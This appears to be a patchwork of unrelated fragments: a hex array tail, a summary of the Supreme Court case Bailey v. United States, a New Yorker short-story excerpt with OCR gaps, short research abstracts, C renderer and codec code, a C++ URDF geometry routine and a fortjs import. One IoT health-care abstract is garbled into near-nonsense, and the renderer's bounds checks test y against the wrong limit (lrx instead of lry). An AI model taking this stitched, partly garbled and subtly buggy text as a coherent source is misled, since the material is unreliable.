0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
};
|
Bailey v. United States (2013)
Background
On Thursday, July 28, 2005 officers of the Suffolk County, New York, police department obtained a warrant to search the basement apartment of a house for a .380-caliber handgun. The warrant was obtained based on a tip by a confidential informant who told police officers that he had seen the gun on a previous weekend when purchasing drugs at the apartment from a man named "Polo."
Before executing the search warrant, two officers surveilling the apartment observed two men exit the apartment complex, both of whom matched the description provided by the confidential informant. The officers watched the men get into a car and drive away.
The officers followed the two individuals for approximately 5 minutes or one mile, and then pulled the men over. They ordered the men out of the car and conducted a pat down search, which turned no weapons or contraband. The officers then seized the driver's keys and handcuffed both men. The officers told them men that they were not under arrest, but were being detained incident to the execution of the search warrant.
The officers drove the two men back to the apartment, which by then had been secured and searched by other officers. The search turned up multiple guns, ammunition, drugs and drug paraphernalia. Both men were then formally placed under arrest.
Chunon L. Bailey, one of the two men arrested, was charged with possessing cocaine with the intent to distribute and possessing a firearm as a felon. He moved to suppress the evidence based on his unlawful detention after he had already left his apartment. The trial court rejected that motion, holding that the detention was justified under Michigan v. Summers. The defendant was convicted and, on appeal, the United States Court of Appeals for the Second Circuit agreed.
Legal Background
In Michigan v. Summers, 452 U.S. 692 (1981), the Court adopted the categorical rule that officers executing a search warrant for contraband may detain the occupants of the premises while the search is conducted. In the ruling, three justifications were identified for detaining occupants while executing a search warrant: (1) the legitimate law enforcement interest in preventing flight in the event that incriminating evidence is found, (2) the interest in minimizing the risk of harm to the officers, and (3) the orderly completion of the search, which may be facilitated if the occupants of the premises are present. This case presents the question whether the rule of Summers extends to the detention of a former occupant who has left the immediate vicinity of the premises before the warrant is executed.
Commentary
Multiple scholars have questioned the efficacy of applying Michigan v. Summers to individuals who have departed the premises being searched. One commentator, in examining the application of Michigan v. Summers over the course of thirty years, acknowledged the lack of clarity in the Supreme Court's original decision as to whether the categorical rule that occupants may be detained applies to "recent occupants":
as some courts have recognized, in the case where the limited authority to detain occupants includes the authority to detain individuals who have already left the premises, the rationale underlying Summers is severely undercut. First, in these cases, the intrusion posed by detention is more pronounced because the individual is detained outside of his place of residence, often in public, and transported back to the residence being searched. Thus, unlike Summers, the detention adds more significantly to “the public stigma associated with the search” and involves both “the inconvenience” and “the indignity” of being transported by the police. Second, where the “occupant” is not present on the premises at the time of the search, the law enforcement interests are also severely undercut. Because the individual is not present on the premises, he will generally not be aware that a search is being conducted and, therefore, there is no risk of flight upon the discovery of incriminating evidence. Additionally, an individual who has exited the premises poses no risk of harm to the police officers or other occupants.
He argues that this is one way in which the rule from Michigan v. Summers has been "extended well beyond what the Court’s initial rationale should reasonably allow" and, as a result, has "put at risk the very liberty interests that it was designed to protect."
Opinion of the Court
In a 6–3 decision, the Court reversed and remanded the Second Circuit Court's ruling, stating that it was an unreasonable seizure under the Fourth Amendment. Writing for the majority, Justice Kennedy agreed that the Michigan v. Summers ruling was broad enough to cover the pursuit and detention of a suspect who had left the scene. However, because none of the law-enforcement interests the earlier holding identified were involved, officers did not have probable cause in this case to detain the suspects a mile away from the scene before the apartment was searched, and it thus added an additional level of intrusiveness: "As demonstrated here, detention beyond the immediate vicinity can involve an initial detention away from the scene and a second detention at the residence. In between, the individual will suffer the additional indignity of a compelled transfer back to the premises".
Justice Scalia concurred in the judgment. Joined by Justices Ginsburg and Kagan, he however argued that once suspects leave the immediate vicinity, the scope and balancing tests of the Michigan v. Summers ruling should no longer apply because ordinary law enforcement interests would then take over: "The Summers exception is appropriately predicated only on law enforcement's interest in carrying out the search unimpeded by violence or other disruptions ... Preventing flight is not a special governmental interest—it is indistinguishable from the ordinary interest in apprehending suspects. Similarly, the interest in inducing residents to open locked doors or containers [to facilitate the orderly completion of the search] is nothing more than the ordinary interest in investigating crime".
Justice Breyer, joined with Justices Thomas and Alito, filed a dissenting opinion. Breyer argued that officers did, in fact, have those law-enforcement interests, but also had reasonable justifications for stopping the suspects away from their apartment. "Considerations related to the risks of flight, of evidence destruction, and of physical danger overcome any administrative advantages. Consider why the officers here waited until the occupants had left the block to stop them: They did so because the occupants might have been armed". |
60 THE NEW YORKER, SEPTEMBER 18, 2017 mother will not be able to hold on to him much longer. Jeanne walks toward her husband, approaching carefully, brushing past her father, who appears to be in shock. "Manman, please give me my baby," Jeanne says. She tries to speak in a firm and steady voice, one that will not frighten her son. Her mother regards her with the dazed look that is now too familiar. "Let me have him, Carole," Jeanne says. Maybe not being her daughter will give her more authority in her mother's eyes. Her mother may think that Jeanne is someone she has to listen to, some- one she must obey. "Baby,"her mother says, and it sounds more like a term of endearment for Jeanne than like the realization that she's holding a small child. "Yes, Manman," Jeanne says. "It's a baby. My baby." She is trying not to shout over the wails of her child. "Your baby?" Carole asks, her arms wavering now, as if she were finally feel- ing Jude's full weight. "Yes."Jeanne lowers her voice. "He's my child, Manman. Please give him to me." Jeanne can see in the loosening of her mother's arms that she is returning. But her mother is still not fully back, and, if she returns too suddenly, she may get confused and drop Jude. While her moth- er's eyes are focussed on her, she signals with a nod for her husband to move in, and, with one synchronized lurch, her father reaches for her mother and her husband grabs their son. Her mother re- laxes her grip on Jude only after he is safely back across the railing. James collapses on the terrace floor, his still crying son pressed tightly against his chest. Jeanne's father takes her mother by the hand and leads her back inside. He sits with her on the sofa and wraps his arms around her as she calmly rests her head on his shoulder. Two police o cers, a black woman and a white man, arrive soon after. They are followed by E.M.T.s. A light is shined in her mother's pupils by one of the E.M.T.s, then her blood pressure is taken. Though her mother seems to have snapped out of her episode and now only looks tired, it's determined that Carole needs psychiatric evalua- tion. Jude is examined and has only some bruising under his armpits from his grandmother's tight grip. Jeanne sees the dazed look return to her mother's eyes as she climbs onto the lowered gurney, with some help from Victor and from Paul. Her father asks that her mother not be strapped down, but the head E.M.T. insists that it is procedure and promises not to hurt her. Jeanne had hoped that her mother was only trying to teach her a lesson, to shock her out of her blues and re- mind her that she is capable of loving her son, but then she sees her mother's eyes as she is being strapped to the gur- ney. They are bleary and empty. She seems to be looking at Jeanne but is ac- tually looking past her, at the wall, then at the ceiling. Carole's body goes limp as the straps are snapped over her wrists and ankles, and it seems as though she were sur- rendering, letting go completely, giving in to whatever has been ailing her. She seems to know that she'll never be back here, at least not in the way she was be- fore. She seems to know, too, that this mo- ment, unlike a birth, is no new beginning. • Carole thought she'd never see this again. Yet here they are, her daugh- ter and her son-in-law with their baby boy. James's arms are wrapped around his wife, as she holds their son, who has fallen asleep. Perhaps Jeanne will now realize how indispensable her son is to her, how she can't survive without him. Carole regrets not telling her daughter a few of her stories. Now she will never get to tell them to her grandson, either. She will never play with him again. The first time her husband took her to the doctor, before all the brain scans and spinal taps, the doctor asked about her family's medical history. He asked whether her parents or her grandparents had su ered from any mental illnesses, Alzheimer's, or de- mentia. She had not been able to an- swer any of his questions, because when he asked she could not remember any- thing about herself. "She's not a good historian," the doc- tor told her husband, which was, ac- cording to Victor, the doctor's way of saying that she was incapable of telling her own life story. She is not a good historian. She never has been. Even when she was well. Now she will never get a chance to be. Her grandson will grow up not knowing her. The single most memorable story that will exist about her and him will be of her dangling him o a terrace, in what some might see as an attempt to kill him. For her, all this will soon evaporate, fade away. But everyone else will remember. They are about to roll her out of the apartment on the gurney. Although her wrists are strapped down, her son is holding her left hand tightly. Jeanne gives Jude to his other grandmother and walks over to the gurney. She moves her face so close to Carole's that Carole thinks she is going to bite her. But then Jeanne pulls back and it occurs to Car- ole that she is playing Alo, Bye, another peekaboo game her children used to enjoy. With their faces nearly touching, Jeanne crinkles her nose and whispers, "Alo, Manman," then "Bye, Manman." It would be appropriate, if only she could make herself believe that this is what her daughter is actually doing. It would be a fitting close to her family life, or at least to her life with children. You are always saying hello to them while preparing them to say goodbye to you. You are always dreading the sepa- rations, while cheering them on, to get bigger, smarter, to crawl, babble, walk, speak, to have birthdays that you hope you'll live to see, that you pray they'll live to see. Jeanne will now know what it's like to live that way, to have a part of yourself walking around unattached to you, and to love that part so much that you sometimes feel as though you were losing your mind. Her daughter reaches down and takes her right hand, so that both of her children are now holding her scrawny, shaky hands, which seem not to belong to her at all. "Mèsi, Manman," her daughter says. "Thank you." There is nothing to thank her for. She has only done her job, her duty as a parent. There is no longer any need for hellos or goodbyes, either. Soon there will be nothing left, no past to cling to, no future to hope for, only now. NEWYORKER.COM Edwidge Danticat on her short story from this issue. |
<filename>components/uvoice/codec/opensource/pvmp3/oscl_mem.h
#ifndef OSCL_MEM_INCLUDED_H
#define OSCL_MEM_INCLUDED_H
#include "stdlib.h"
#include "string.h"
#define oscl_memcpy memcpy
#define oscl_memset memset
#define oscl_memmove memmove
#define OSCL_ARRAY_DELETE(ptr) delete [] ptr
#define OSCL_ARRAY_NEW(T, count) new T[count]
#define OSCL_DELETE(ptr) {\
if(ptr){delete(ptr);}\
}
#endif
|
Internet of Things based Smart Health Care System using LoRa The Internet of things (IoT) is one of the recent technologies that attract a lot of attention in recent years. The web application would have connected devices by 2022 and many web applications would have been developed by 2022. In a wireless detector network, IoT will play a major role in technological advances and various analysis have been done in the recent past. IoT is one of the wireless detector networks used by environmental applications. Anywhere, anytime web browser applications can be used, and wearable body space network has been used enormously for health sector domain. The website information provides special provisions to improve the life of the people by improving the standard of living and hence IoT can be used for any medical emergency application. The well-being of society can be captured with the help of wearable using photoplethysmogram and the same can be observed with the help of a cardiogram. The heart rate observance can be measured with the help of an IoT monitoring device. The monitoring of the IoT-based system can be done by MySignals with the help of a wireless medium with the observance of a sensor attached to the body. Other parameters such as temperature, oxygen saturation level, the pulse rate can also be monitored with the help of these wearables. In this research work, MySignals enlargement associated with Low power long-range LoRa network is used to observe each a signal and the same can be used to perform an investigation on how to use LoRa for such applications. The various sensors can capture the data with the help of MySignals. The main objective is to transfer the received signal from the sensor to the PC with the help of a wireless medium. The signals received from the sensor such as ECG, Oxygen level, heart rate is observed by interfacing with the LoRa. The movement of information is done with the help of sensors and observed by MySignals has been improvised to enhance the well-being of a personn. |
Integration of Clinical and Administrative Information in Medical Treatment Abstract The relevant information needed in medical treatment of patients is changing at fast pace. When a change in one process occurs it may have impact on several locations in dependent processes performed by medical or administrative personnel. Today the team is not able to recognize changing information in real time. For this reason we decided to build an information network to allow rapid change management and according transparency improvement. By using enhanced UML supported by a software engineering tool we were able to show that it is possible to reach these goals. |
/*
* File: state.c
*
* This file manages the renderer state and performs other useful functions.
*
* Most of these functions are called from the input parser
*
*/
/*
*
* MIT License
*
* Copyright (c) 2018 <NAME>
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "rp.h"
#include "line.h"
/* current render state for current object, from objects.c */
extern u32 _RPTempObjRenderFlags;
/* camera / projection paramters; save for complicated order of calls */
static float fov = 20.0,
aspect = MAX_XRES/MAX_YRES,
hither = 100.0, yon = 10000.0;
static xyz_t camera_pos = {0.0, 0.0, 500.0};
static xyz_t camera_coi = {0.0, 0.0, 0.0};
static xyz_t camera_up = {0.0, 1.0, 0.0};
/* set the output filename and resolution of the frame buffer */
void
RPSetOutput(char *fname, int txres, int tyres)
{
if (fname == (char *) NULL) {
fprintf(stderr,"%s : bad output filename [%s].\n",
program_name, fname);
return;
}
if (RPScene.output_file != (char *) NULL)
free(RPScene.output_file);
RPScene.output_file = (char *) malloc(strlen(fname)+1);
strcpy(RPScene.output_file, fname);
if ((txres < 0) || (txres > MAX_XRES) ||
(tyres < 0) || (tyres > MAX_YRES)) {
fprintf(stderr,"%s : invalid output resolution requested (%dx%d).\n",
program_name, txres, tyres);
RPScene.xres = MAX_XRES;
RPScene.yres = MAX_YRES;
} else {
RPScene.xres = txres;
RPScene.yres = tyres;
}
/* use new resolution to set default viewport and scissor */
RPSetViewport(RPScene.xres/2.0, RPScene.yres/2.0, yon,
RPScene.xres/2.0, RPScene.yres/2.0, 0.0);
RPSetScissor(0, 0, (RPScene.xres-1), (RPScene.yres-1));
}
/* set frame buffer to some color value */
void
RPSetBackgroundColor(rgba_t *color)
{
if (color != (rgba_t *) NULL) {
RPScene.background_color.r = color->r;
RPScene.background_color.g = color->g;
RPScene.background_color.b = color->b;
RPScene.background_color.a = color->a;
}
}
/* clear the frame buffer to a color */
void
RPClearColorFB(rgba_t *color)
{
int i, j;
/* if input parameter is NULL, clear to current BG color */
if (color == (rgba_t *)NULL) {
for (i=0; i<RPScene.yres; i++) {
for (j=0; j<RPScene.xres; j++) {
RPColorFrameBuffer[i][j].r = RPScene.background_color.r;
RPColorFrameBuffer[i][j].g = RPScene.background_color.g;
RPColorFrameBuffer[i][j].b = RPScene.background_color.b;
RPColorFrameBuffer[i][j].a = RPScene.background_color.a;
}
}
} else {
for (i=0; i<RPScene.yres; i++) {
for (j=0; j<RPScene.xres; j++) {
RPColorFrameBuffer[i][j].r = color->r;
RPColorFrameBuffer[i][j].g = color->g;
RPColorFrameBuffer[i][j].b = color->b;
RPColorFrameBuffer[i][j].a = color->a;
}
}
RPSetBackgroundColor(color);
}
}
/* clear the z-buffer to a value */
void
RPClearDepthFB(float *zval)
{
float newval;
int i, j;
if (zval == (float *) NULL) {
newval = REALLY_BIG_FLOAT;
} else {
newval = *zval;
}
for (i=0; i<RPScene.yres; i++) {
for (j=0; j<RPScene.xres; j++) {
RPDepthFrameBuffer[i][j] = newval;
}
}
}
/* test a z value with the depth buffer
*
* z buffer is positive floating point values, increasing as we get
* further from the eye (these are the *projected* z values, not the
* camera space values, which are negative (looking down -z axis)
*/
int
RPTestDepthFB(int x, int y, float z)
{
if ((x >= RPScene.scissor_box->ulx) && (x <= RPScene.scissor_box->lrx) &&
(y >= RPScene.scissor_box->uly) && (y <= RPScene.scissor_box->lrx)) {
if (z < RPDepthFrameBuffer[y][x])
return TRUE;
else
return FALSE;
} else {
return FALSE;
}
}
/* put a z value into the depth buffer */
void
RPPutDepthFBPixel(int x, int y, float z)
{
if ((x >= RPScene.scissor_box->ulx) && (x <= RPScene.scissor_box->lrx) &&
(y >= RPScene.scissor_box->uly) && (y <= RPScene.scissor_box->lrx)) {
RPDepthFrameBuffer[y][x] = z;
}
}
/* load an image into the frame buffer as a background
* the user is responsible for making sure the image is the
* right size.
*
* RPSetBackgroundImageFile() is called from the parser, to set the filename
* for the background image. RPLoadBackgroundImage() is called from the
* renderer whenever it wants to put the contents of that image file
* into the frame buffer ("when", depends on the rendering algorithm)
*/
void
RPLoadBackgroundImage(void)
{
int i, j, txres, tyres;
Texture_t *tex;
if (!Flagged(RPScene.flags, FLAG_BACKGROUND_IMAGE))
return;
/*
* bit of a hack... read it in as a texture, copy to RPColorFrameBuffer,
* then free the temp texture
*/
i = RPLoadTextureFromFile(MAX_TEXTURES, RPScene.background_file, 0x0, 0.0, 0.0, 0.0, 0.0);
if (!i) { /* error loading background image */
UnFlag(RPScene.flags, FLAG_BACKGROUND_IMAGE);
return;
}
tex = RPScene.texture_list[MAX_TEXTURES];
txres = Min(tex->xres, RPScene.xres);
tyres = Min(tex->yres, RPScene.yres);
/* copy background image starting at upper left hand corner */
for (i=0; i<tyres; i++) {
for (j=0; j<txres; j++) {
RPColorFrameBuffer[i][j].r = tex->tmem[i][j].r;
RPColorFrameBuffer[i][j].g = tex->tmem[i][j].g;
RPColorFrameBuffer[i][j].b = tex->tmem[i][j].b;
RPColorFrameBuffer[i][j].a = MAX_COLOR_VAL;
}
}
/* destroy the temporary texture */
RPFreeTexture(MAX_TEXTURES);
}
/* called from the input parser */
void
RPSetBackgroundImageFile(char *filename)
{
if (RPScene.background_file != (char *) NULL)
free(RPScene.background_file);
RPScene.background_file = (char *) malloc(strlen(filename)+1);
strcpy(RPScene.background_file, filename);
Flag(RPScene.flags, FLAG_BACKGROUND_IMAGE);
}
/* return value from framebuffer, caller should free memory */
rgba_t *
RPGetColorFBPixel(int x, int y)
{
rgba_t *sample;
sample = (rgba_t *) malloc(sizeof(rgba_t));
if (Flagged(RPScene.flags,FLAG_BACKGROUND_IMAGE)) {
sample->r = RPColorFrameBuffer[y][x].r;
sample->g = RPColorFrameBuffer[y][x].g;
sample->b = RPColorFrameBuffer[y][x].b;
sample->a = RPColorFrameBuffer[y][x].a;
} else {
sample->r = RPScene.background_color.r;
sample->g = RPScene.background_color.g;
sample->b = RPScene.background_color.b;
sample->a = RPScene.background_color.a;
}
return(sample);
}
/* store an rgba value (each component range 0-255) into the frame buffer */
void
RPPutColorFBPixel(int x, int y, int r, int g, int b, int a)
{
float f;
if ((x >= RPScene.scissor_box->ulx) && (x <= RPScene.scissor_box->lrx) &&
(y >= RPScene.scissor_box->uly) && (y <= RPScene.scissor_box->lrx)) {
r = Clamp0255(r);
g = Clamp0255(g);
b = Clamp0255(b);
a = Clamp0255(a);
if (a == MAX_COLOR_VAL) {
RPColorFrameBuffer[y][x].r = (u8) r;
RPColorFrameBuffer[y][x].g = (u8) g;
RPColorFrameBuffer[y][x].b = (u8) b;
RPColorFrameBuffer[y][x].a = (u8) a;
} else { /* do alpha-blending */
f = (float)a/(float)MAX_COLOR_VAL;
RPColorFrameBuffer[y][x].r = (u8) Clamp0255(f*r +
(1.0-f)*RPColorFrameBuffer[y][x].r);
RPColorFrameBuffer[y][x].g = (u8) Clamp0255(f*g +
(1.0-f)*RPColorFrameBuffer[y][x].g);
RPColorFrameBuffer[y][x].b = (u8) Clamp0255(f*b +
(1.0-f)*RPColorFrameBuffer[y][x].b);
RPColorFrameBuffer[y][x].a = (u8) Clamp0255(f*a +
(1.0-f)*RPColorFrameBuffer[y][x].a);
}
}
}
/* write frame buffer to a file */
int
RPWriteColorFB(void)
{
fprintf(stderr,"%s : creating output file [%s]\n",
program_name, RPScene.output_file);
return (write_bmp(RPScene.output_file, RPScene.xres, RPScene.yres));
}
/* set object render flags (called from parser) */
void
RPSetObjectFlags(u32 flags)
{
Flag(_RPTempObjRenderFlags, flags);
}
/* clear object render flags (called from parser) */
void
RPClearObjectFlags(u32 flags)
{
UnFlag(_RPTempObjRenderFlags, flags);
}
/* a helper function that resets the camera and projection parameters...
* different rendering algorihtms make slighly different use (or ignore) some
* paramaters, so the input scene description gathers this from a couple different
* commands.. this function ties it all together. (see documentation for the
* restrictions and interactions of the input commands)
*/
static void
update_camera_and_projection(void)
{
float tmp_mtx[4][4];
RPScene.camera->pos.x = camera_pos.x;
RPScene.camera->pos.y = camera_pos.y;
RPScene.camera->pos.z = camera_pos.z;
RPScene.camera->coi.x = camera_coi.x;
RPScene.camera->coi.y = camera_coi.y;
RPScene.camera->coi.z = camera_coi.z;
RPScene.camera->up.x = camera_up.x;
RPScene.camera->up.y = camera_up.y;
RPScene.camera->up.z = camera_up.z;
RPScene.camera->fov = fov;
RPScene.camera->aspect = aspect;
RPScene.hither = hither;
RPScene.yon = yon;
/* fix some internal variables: */
RPScene.camera->eye.x = 0.0;
RPScene.camera->eye.y = 0.0;
RPScene.camera->eye.z = 0.0; /* after xform */
RPScene.camera->dir.x = 0.0;
RPScene.camera->dir.y = 0.0;
RPScene.camera->dir.z = -1.0; /* look dir */
RPScene.camera->fovr = DegToRad * fov;
/* create View Matrix */
lookat_mtx(tmp_mtx,
RPScene.camera->pos.x, RPScene.camera->pos.y, RPScene.camera->pos.z,
RPScene.camera->coi.x, RPScene.camera->coi.y, RPScene.camera->coi.z,
RPScene.camera->up.x, RPScene.camera->up.y, RPScene.camera->up.z);
load_matrix(tmp_mtx, MTX_TYPE_VIEW);
/* create Proj Matrix */
perspective_mtx(tmp_mtx, fov, aspect, hither, yon);
load_matrix(tmp_mtx, MTX_TYPE_PROJ); /* assumes PROJ */
}
/* set the scale for the depth buffer range. hither and yon in a properly
* constructed projection matrix will scale the z values for the frame buffer.
* our framebuffer is floating point, so this isn't too critical... this architecture
* left over from GPU driver implementation that used fixed-point math and fancy
* tricks to get the most out of the zbuffer range.
*/
void
RPSetDepthRange(float near, float far)
{
hither = near;
yon = far;
update_camera_and_projection();
}
/* set camera (called from parser) */
void
RPSetCamera(xyz_t pos, xyz_t coi, xyz_t up, float fovy, float asp)
{
/* save parameters so we can reset on related commands: */
camera_pos.x = pos.x; camera_pos.y = pos.y; camera_pos.z = pos.z;
camera_coi.x = coi.x; camera_coi.y = coi.y; camera_coi.z = coi.z;
camera_up.x = up.x; camera_up.y = up.y; camera_up.z = up.z;
fov = fovy;
/* if asp < 0.0, just change hither/yon */
if (asp > 0.0) {
aspect = asp;
}
update_camera_and_projection();
}
/* set projection (called from parser) */
void
RPSetProjection(float asp, float near, float far)
{
/* if aspect < 0.0, just change hither/yon */
if (asp > 0.0) {
aspect = asp;
}
/* if near < far, just change aspect */
if (near < far) {
hither = near;
yon = far;
}
update_camera_and_projection();
}
/* set fog (called from parser) */
void
RPSetFog(float start, float end, float r, float g, float b, float a)
{
/* fog values are positive, "distance from the eye"...
* after MV transform to eye space, we are looking down the
* -z axis, so all z values are negative (and getting more negative
* farther away. So we must flip the sign to make the math in the
* shader work (rather than explain all of this to the user...)
*/
if (start > end) {
fprintf(stderr,"WARNING : %s : fog start > fog end (%f > %f)\n",
program_name, start, end);
}
RPScene.fog_start = -start;
RPScene.fog_end = -end;
RPScene.fog_color.r = r;
RPScene.fog_color.g = g;
RPScene.fog_color.b = b;
RPScene.fog_color.a = a;
}
/* set viewport (called from parser) */
void
RPSetViewport(float sx, float sy, float sz, float tx, float ty, float tz)
{
RPScene.viewport->sx = sx;
RPScene.viewport->sy = sy;
RPScene.viewport->sz = sz;
RPScene.viewport->tx = tx;
RPScene.viewport->ty = ty;
RPScene.viewport->tz = tz;
}
/* set screen scissor box (called from the parser) */
/* if you use the proper fb access functions above, they will test with the scissor
* box for your desired effect (or to prevent rendering outside the valid framebuffer)
*/
void
RPSetScissor(int tulx, int tuly, int tlrx, int tlry)
{
RPScene.scissor_box->ulx = tulx;
RPScene.scissor_box->uly = tuly;
RPScene.scissor_box->lrx = tlrx;
RPScene.scissor_box->lry = tlry;
}
static rgba_t line_color = {255, 0, 0, 255};
/* pixel plotting function for line drawing routine */
static void
plot_pixel(int x, int y, int color)
{
float weight;
weight = (float)color/255.0;
if (x < 0 || y < 0 || x >= RPScene.xres || y >= RPScene.yres)
return;
RPPutColorFBPixel(x, y, (int) ((float)line_color.r * weight),
(int) ((float)line_color.g * weight),
(int) ((float)line_color.b * weight),
(int) ((float)line_color.a * weight));
}
/* draw a line in the frame buffer. useful for debugging.
* x,y input is screen coordinates, useaa if true, uses the
* slightly more expensive anti-aliased line algorithm.
* color is raw pixel values, 8/8/8/8
*/
void
RPDrawColorFBLine(int x1, int y1, int x2, int y2, rgba_t color, int useaa)
{
line_color.r = color.r;
line_color.g = color.g;
line_color.b = color.b;
line_color.a = color.a;
if (useaa)
abresline(x1, y1, x2, y2, plot_pixel);
else
bresline(x1, y1, x2, y2, plot_pixel);
}
|
Numerical analysis of the propagation of light in a disordered waveguide system The propagation properties of light in a disordered waveguide system composed of randomly different cores in size are presented by numerically solving the coupled mode equation. The propagation constants of the modes are assumed to be a random variable. When one of cores is illuminated at the input end of the waveguide system the coherent part of the amplitude of light decreases exponentially with increasing distance and at large distance only the incoherent part propagates. The incoherent part is concentrated into a narrow region near the illuminated core in the cross section of the waveguide system and the distribution does not almost change along the waveguide axis. |
Special features of refining processes in welding aluminized steel with an oxidizing gas Aluminium content reduction in the weld metal occurs as a result of aluminium oxidation in the weld pool and precipitation of aluminium oxide into slag at welding aluminized steels in active gas and gas mixtures. Additional feed of highly oxidizing gases from the other side of the welding bath at welding in active gaseous medium allows for reaching an even reduction of aluminium content in the weld metal and for improving the mechanical characteristic of the welded joints from aluminized steels. |
// XXX TODO could specify material as parameter to override any possibly already
// existing materials. Propagate this to other functions using getAllGeometry().
bool addGeometry(SoSeparator * addToNode, const std::string& linkName, double scale_factor,
const GeometryPtr& geom,
const int geomNum,
const MaterialPtr& mat,
const urdf_traverser::EigenTransform& geometryTransform,
const urdf_traverser::EigenTransform& addMeshTransform,
const bool scaleUrdfTransforms)
{
urdf_traverser::EigenTransform geomTransform = geometryTransform;
urdf_traverser::EigenTransform meshGeomTransform = geomTransform * addMeshTransform;
if (scaleUrdfTransforms) urdf_traverser::scaleTranslation(geomTransform, scale_factor);
switch (geom->type)
{
case urdf::Geometry::MESH:
{
MeshPtr mesh = shr_lib::dynamic_pointer_cast<urdf::Mesh>(geom);
if (!mesh.get())
{
ROS_ERROR("Mesh cast error");
return false;
}
std::string meshFilename = urdf_traverser::helpers::packagePathToAbsolute(mesh->filename);
ROS_INFO_STREAM("Converting mesh file " << meshFilename << " with factor " << scale_factor);
float r = 0.5;
float g = 0.5;
float b = 0.5;
float a = 1.0;
if (mat)
{
r = mat->color.r;
g = mat->color.g;
b = mat->color.b;
a = mat->color.a;
}
SoNode * somesh = convertMeshFile(meshFilename, scale_factor, mat != NULL, r, g, b, a);
if (!somesh)
{
ROS_ERROR("Mesh could not be read");
return false;
}
std::stringstream str;
str << "_visual_" << geomNum << "_" << linkName;
somesh->setName(str.str().c_str());
urdf2inventor::addSubNode(somesh, addToNode, meshGeomTransform);
break;
}
case urdf::Geometry::SPHERE:
{
ROS_INFO("Urdf2Inventor: Model has a Sphere");
SpherePtr sphere = shr_lib::dynamic_pointer_cast<urdf::Sphere>(geom);
if (!sphere.get())
{
ROS_ERROR("Sphere cast error");
return false;
}
SoSeparator * sphereNode = new SoSeparator();
sphereNode->ref();
urdf2inventor::addSphere(addToNode, geomTransform.translation(), sphere->radius * scale_factor, 1, 0, 0);
break;
}
case urdf::Geometry::BOX:
{
ROS_INFO("Urdf2Inventor: Model has a box");
BoxPtr box = shr_lib::dynamic_pointer_cast<urdf::Box>(geom);
if (!box.get())
{
ROS_ERROR("Box cast error");
return false;
}
SoSeparator * boxNode = new SoSeparator();
boxNode->ref();
ROS_INFO_STREAM("Geometry "<<geomNum<<" of link "<<linkName<<" transform: "<<geometryTransform);
urdf2inventor::EigenTransform tmpT;
urdf2inventor::EigenTransform geomTransformInv = geomTransform.inverse();
tmpT.setIdentity();
tmpT.translate(geomTransform.translation());
tmpT.rotate(geomTransform.rotation());
urdf2inventor::addBox(addToNode, tmpT, box->dim.x * scale_factor, box->dim.y * scale_factor, box->dim.z * scale_factor, 1, 0, 0, 0);
break;
}
case urdf::Geometry::CYLINDER:
{
ROS_INFO("Urdf2Inventor: Model has a cylinder");
CylinderPtr cylinder = shr_lib::dynamic_pointer_cast<urdf::Cylinder>(geom);
if (!cylinder.get())
{
ROS_ERROR("Cylinder cast error");
return false;
}
SoSeparator * cylinderNode = new SoSeparator();
cylinderNode->ref();
urdf2inventor::addCylinder(addToNode, geomTransform, cylinder->radius/2, cylinder->length, 1, 0, 0, 0);
break;
}
default:
{
ROS_ERROR_STREAM("This geometry type not supported so far: " << geom->type);
return false;
}
}
return true;
} |
import { Controller, DefaultWorker, textResult, viewResult, Worker, Assign, jsonResult, Route } from "fortjs";
